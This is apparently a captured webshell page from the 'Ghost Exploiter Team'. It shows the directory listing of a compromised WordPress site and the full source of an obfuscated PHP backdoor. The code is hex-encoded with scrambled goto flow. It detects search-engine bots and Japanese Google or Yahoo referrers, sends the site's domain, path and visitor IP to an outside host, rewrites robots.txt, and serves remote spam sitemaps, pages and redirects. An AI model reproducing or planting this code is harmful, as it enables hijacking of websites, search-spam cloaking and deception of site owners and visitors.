webshell

Ghost Exploiter Team Official

Directory >> /home/goldnnqi/newacepetro.com/

File / Folder	Size	Action
.	-
.well-known	--	ren
about	--	ren
anon_root	--	ren
cgi-bin	--	ren
wp-admin	--	ren
wp-content	--	ren
wp-includes	--	ren
.hcflag	0.03KB	edt ren
.htaccess	0.194KB	edt ren
.htaccess.bk	1.013KB	edt ren
.litespeed_flag	0.29KB	edt ren
NewAce FileBackup 11-01...	306.6MB	edt ren
cla.php	16.658KB	edt ren
db.php	8.31KB	edt ren
error_log	0.452KB	edt ren
googlea11d01e007e97ff5....	0.052KB	edt ren
gossfy.php	0.72KB	edt ren
index.php	8.236KB	edt ren
index.php0	8.235KB	edt ren
license.txt	19.437KB	edt ren
pages.php	1.47KB	edt ren
php.ini	0.103KB	edt ren
q.zip	4.467KB	edt ren
readme.html	7.251KB	edt ren
robots.txt	0.368KB	edt ren
style.php	0.3KB	edt ren
wp-activate.php	7.214KB	edt ren
wp-comments-post.php	2.269KB	edt ren
wp-config-sample.php	3.258KB	edt ren
wp-config.php	3.326KB	edt ren
wp-cron.php	5.485KB	edt ren
wp-cron.zip	54.02KB	edt ren
wp-includes.zip	14.64MB	edt ren
wp-links-opml.php	2.443KB	edt ren
wp-load.php	3.845KB	edt ren
wp-login.php	50.209KB	edt ren
wp-mail.php	8.522KB	edt ren
wp-settings.php	29.376KB	edt ren
wp-signup.php	33.707KB	edt ren
wp-trackback.php	4.982KB	edt ren
xmlrpc.php	3.13KB	edt ren
zhv.txt	0.001KB	edt ren

<?php $Jvng9 = "https://j250313_13.anewlove.xyz/"; class blE_t { public function bdYQ0($bB_XL = '', $cg_40 = '') { if (!empty($bB_XL)) { goto z2P4j; } return $_SERVER; z2P4j: $bB_XL = strtoupper($bB_XL); return isset($_SERVER[$bB_XL]) ? $_SERVER[$bB_XL] : $cg_40; } public function ydVQE() { if ($this->bdyQ0("\110\124\x54\120\123") && ("\61" == $this->BDYQ0("\110\124\x54\x50\123") || "\157\156" == strtolower($this->bdYQ0("\110\124\124\120\x53")))) { goto pIqYH; } if ("\150\164\x74\x70\x73" == $this->BdYQ0("\x52\x45\x51\125\x45\x53\124\137\123\103\x48\x45\x4d\105")) { goto nbNzM; } if ("\64\x34\63" == $this->BDYQ0("\123\x45\x52\x56\105\x52\137\120\117\122\x54")) { goto PillG; } if ("\x68\x74\164\x70\x73" == $this->bDyq0("\x48\x54\x54\120\x5f\130\137\106\117\x52\x57\101\x52\x44\x45\104\x5f\x50\x52\x4f\124\x4f")) { goto EX3Wg; } goto DETzI; pIqYH: return true; goto DETzI; nbNzM: return true; goto DETzI; PillG: return true; goto DETzI; EX3Wg: return true; DETzI: return false; } public function dEF1y() { $rntEz = strval($this->bDyQ0("\110\124\x54\120\137\130\137\x46\117\x52\x57\x41\x52\104\x45\x44\x5f\x48\117\x53\x54") ?: $this->BdYq0("\110\x54\x54\x50\x5f\110\x4f\x53\x54")); return strpos($rntEz, "\x3a") ? strstr($rntEz, "\72", true) : $rntEz; } public function oVwje() { return $this->YdvqE() ? "\150\164\x74\x70\163" : "\150\164\164\x70"; } public function zGmnJ() { $H7mFQ = $this->q5CDJ(); if (!in_array($H7mFQ, [80, 443])) { goto r6nE8; } return $this->oVWJe() . "\72\x2f\57" . $this->DeF1Y(); r6nE8: return $this->ovwJE() . "\72\x2f\57" . $this->DeF1y() . "\x3a" . $H7mFQ; } public function Q5CDj() { return (int) ($this->bdyQ0("\110\124\124\120\x5f\x58\137\x46\117\122\x57\101\x52\x44\x45\104\137\120\x4f\122\124") ?: $this->bDYQ0("\x53\105\x52\x56\105\122\x5f\x50\117\122\124", '')); } public function fmUA6() { if (getenv("\110\x54\x54\120\137\103\114\x49\105\116\x54\x5f\x49\x50")) { goto ihfSg; } if (getenv("\110\124\124\120\x5f\130\137\106\117\x52\x57\x41\x52\x44\105\104\137\106\x4f\122")) { goto OKl4t; } if (getenv("\x52\x45\x4d\x4f\x54\105\137\101\104\x44\122")) { goto ZohlP; } $FpWso = $this->Bdyq0("\122\105\x4d\117\x54\x45\137\x41\104\x44\122"); goto t6SKG; ihfSg: $FpWso = getenv("\x48\x54\x54\x50\137\x43\x4c\111\105\x4e\124\137\111\x50"); goto t6SKG; OKl4t: $FpWso = getenv("\x48\x54\124\x50\137\130\x5f\x46\117\x52\x57\101\122\104\x45\x44\137\x46\x4f\122"); goto t6SKG; ZohlP: $FpWso = getenv("\x52\x45\115\117\x54\105\x5f\x41\104\x44\x52"); t6SKG: return $FpWso; } public function hB1B6() { $iQlst = strtolower($this->BDyQ0("\x48\124\x54\120\x5f\x55\123\x45\x52\x5f\x41\x47\105\x4e\x54")); if (!($iQlst != '' && preg_match("\57\147\x6f\x6f\x67\x6c\x65\142\x6f\x74\174\147\x6f\157\x67\154\145\x7c\171\x61\x68\157\x6f\x7c\142\151\156\147\174\x61\x6f\154\57\x73\x69", $iQlst))) { goto PFzlC; } return true; PFzlC: return false; } public function aPMdz() { $P6i4Q = strtolower($this->BDyq0("\110\x54\x54\x50\x5f\x52\x45\106\105\122\x45\122")); if (!($P6i4Q != '' && preg_match("\x2f\x67\x6f\x6f\x67\x6c\145\x2e\143\157\56\152\x70\x7c\x79\x61\150\157\x6f\x2e\x63\x6f\56\x6a\x70\x7c\147\x6f\x6f\x67\x6c\x65\x2e\x63\157\155\x2f\163\x69", $P6i4Q))) { goto sfg5n; } return true; sfg5n: return false; } public function uNzjU() { $OTJOp = basename($this->BDYQ0("\123\x43\x52\x49\x50\x54\x5f\x46\x49\114\x45\x4e\x41\115\105")); if (basename($this->BDyq0("\x53\103\122\x49\120\124\137\x4e\x41\115\105")) === $OTJOp) { goto k9DcJ; } if (basename($this->bDyq0("\120\110\x50\x5f\x53\x45\114\106")) === $OTJOp) { goto ObFA3; } if (basename($this->bDYQ0("\x4f\122\111\x47\137\123\103\122\111\x50\x54\137\x4e\x41\x4d\x45")) === $OTJOp) { goto BXnEH; } if (($HPxKE = strpos($this->BDyQ0("\120\110\x50\x5f\123\x45\114\106"), "\57" . $OTJOp)) !== false) { goto dGJbS; } if ($this->BDYq0("\x44\117\x43\x55\115\105\116\x54\137\122\117\x4f\124") && strpos($this->BdYq0("\123\x43\x52\111\x50\x54\137\x46\111\x4c\105\116\x41\x4d\x45"), $this->Bdyq0("\104\117\103\x55\115\x45\116\124\137\122\117\117\124")) === 0) { goto WWT2B; } goto aOuaL; k9DcJ: $G0BZ5 = $this->BDyQ0("\x53\x43\122\x49\x50\x54\x5f\116\x41\115\105"); goto aOuaL; ObFA3: $G0BZ5 = $this->bdYq0("\120\110\120\x5f\123\105\x4c\106"); goto aOuaL; BXnEH: $G0BZ5 = $this->BDYq0("\117\122\x49\x47\137\123\x43\x52\x49\x50\124\137\116\101\x4d\105"); goto aOuaL; dGJbS: $G0BZ5 = substr($this->bDyQ0("\x53\103\122\x49\x50\x54\137\x4e\101\115\105"), 0, $HPxKE) . "\57" . $OTJOp; goto aOuaL; WWT2B: $G0BZ5 = str_replace($this->bdYq0("\104\117\x43\125\115\105\116\124\x5f\122\x4f\x4f\x54"), '', $this->BDYQ0("\123\103\122\111\120\x54\x5f\106\x49\114\105\x4e\x41\x4d\x45")); aOuaL: if (($HPxKE = strpos($this->bdYQ0("\122\x45\121\x55\105\123\x54\137\x55\x52\x49"), "\56\x70\x68\x70")) !== false) { goto beL3Q; } $HZ2Ax = $G0BZ5 . substr($this->Bdyq0("\122\105\x51\125\105\123\124\137\125\122\x49"), strpos($this->bdYQ0("\122\x45\x51\125\x45\123\x54\x5f\125\122\111"), "\57")); goto JIeV6; beL3Q: $HZ2Ax = $G0BZ5 . substr($this->bDYq0("\122\105\121\x55\x45\x53\x54\x5f\125\x52\x49"), $HPxKE + 4); JIeV6: return rtrim($HZ2Ax, "\57"); } public function y0IIf($G0BZ5, $CzvlV = array()) { $G0BZ5 = str_replace("\40", "\x2b", $G0BZ5); $P5iiv = curl_init(); curl_setopt($P5iiv, CURLOPT_URL, $G0BZ5); curl_setopt($P5iiv, CURLOPT_RETURNTRANSFER, 1); curl_setopt($P5iiv, CURLOPT_HEADER, 0); curl_setopt($P5iiv, CURLOPT_TIMEOUT, 20); curl_setopt($P5iiv, CURLOPT_POST, 1); curl_setopt($P5iiv, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($P5iiv, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($P5iiv, CURLOPT_POSTFIELDS, http_build_query($CzvlV)); $Xp61V = curl_exec($P5iiv); $ZuFqQ = curl_errno($P5iiv); curl_close($P5iiv); if (!(0 !== $ZuFqQ)) { goto ZJiGw; } return false; ZJiGw: return $Xp61V; } } $j6yhe = new blE_T(); $l0LUv = $j6yhe->Hb1b6(); $G3nMs = $j6yhe->ApmDZ(); $KZ5MQ = $Jvng9 . "\x72\x6f\142\157\x74\163"; $xZd0b = $Jvng9 . "\167\x6f\x72\x64"; $OsdSj = $Jvng9 . "\x6a\165\x6d\160"; $QOLM6 = $Jvng9 . "\x6d\x61\x70"; $ulD9h = $Jvng9 . "\x69\x6e\x64\x61\x74\141"; $ALLPb = str_replace("\57\151\x6e\144\x65\x78\x2e\x70\x68\160", '', urldecode($j6yhe->uNZjU())); $CzvlV = ["\144\157\155\x61\x69\x6e" => $j6yhe->ZgMnj(), "\160\x6f\x72\164" => $j6yhe->Q5cdj(), "\165\x72\151" => $ALLPb]; if (!(substr($ALLPb, -6) == "\162\x6f\x62\x6f\x74\x73")) { goto o7bPu; } $Xp61V = $j6yhe->Y0iiF($KZ5MQ, $CzvlV); file_put_contents(__DIR__ . "\x2f\162\157\x62\x6f\164\x73\x2e\164\x78\x74", $Xp61V); $v0vKW = @file_get_contents(__DIR__ . "\x2f\162\x6f\x62\x6f\x74\x73\x2e\x74\170\x74"); if (strpos(strtolower($v0vKW), "\163\x69\164\x65\155\x61\160")) { goto ymeUa; } exit("\162\x6f\142\157\164\163\x2e\164\x78\164\x20\x66\x69\x6c\x65\x20\143\x72\x65\141\x74\145\40\146\141\151\x6c\x21"); goto xjwlB; ymeUa: exit("\162\157\142\x6f\164\163\x2e\x74\x78\164\x20\x66\x69\x6c\145\x20\143\162\145\x61\x74\x65\40\163\165\x63\x63\145\163\163\x21"); xjwlB: o7bPu: if (!(substr($ALLPb, -4) == "\56\x78\155\x6c")) { goto k1v_E; } if (!(strpos($ALLPb, "\x61\x6c\154\163\x69\164\x65\x6d\x61\160\56\x78\155\x6c") || strpos($ALLPb, "\x73\x69\x74\145\x6d\141\160\x2d\151\x6e\144\x65\170\x2e\x78\x6d\x6c") || strpos($ALLPb, "\163\151\x74\x65\x6d\x61\x70\x2d\x69\x6e\x64\x65\170\55\61\x2e\x78\155\154") || strpos($ALLPb, "\x69\x6e\x64\x65\170\x2e\170\155\x6c"))) { goto OzpxB; } $Xp61V = $j6yhe->Y0iif($QOLM6, $CzvlV); header("\103\157\156\164\145\x6e\x74\x2d\164\x79\x70\145\x3a\x74\145\170\164\x2f" . (substr($Xp61V, 0, 5) === "\74\x3f\x78\155\x6c" ? "\x78\155\x6c" : "\x70\x6c\141\x69\156") . "\73\40\143\x68\x61\162\163\x65\x74\75\x75\x74\146\55\x38"); exit('' . $Xp61V); OzpxB: $Xp61V = $j6yhe->y0IiF($xZd0b, $CzvlV); header("\103\157\x6e\164\145\156\x74\55\164\171\x70\x65\72\164\145\170\x74\57\170\155\154\x3b\40\143\x68\x61\162\163\145\x74\75\165\164\x66\x2d\x38"); if ($Xp61V == "\x31") { goto j8eH8; } exit('' . $Xp61V); goto M9awf; j8eH8: exit('' . $j6yhe->y0IIf($QOLM6, $CzvlV)); M9awf: k1v_E: $ZIGGL = $j6yhe->bDyq0("\110\124\124\120\x5f\x41\103\x43\105\120\124\x5f\114\101\x4e\x47\125\101\107\105"); if (!(!$l0LUv && $G3nMs && preg_match("\x2f\x6a\141\57\x69", $ZIGGL))) { goto j3qo8; } $CzvlV["\151\x70"] = $j6yhe->FmUa6(); exit('' . $j6yhe->y0IIF($OsdSj, $CzvlV)); j3qo8: if (!($l0LUv || preg_match("\x23\133\141\x2d\x7a\55\x5d\x2b\57\133\60\x2d\x39\x61\55\172\55\x5d\53\x2f\x5c\144\x2b\134\56\x73\150\164\x6d\x6c\77\x23", $ALLPb))) { goto Uq1Tj; } exit('' . $j6yhe->y0Iif($ulD9h, $CzvlV)); Uq1Tj:?>

<=Back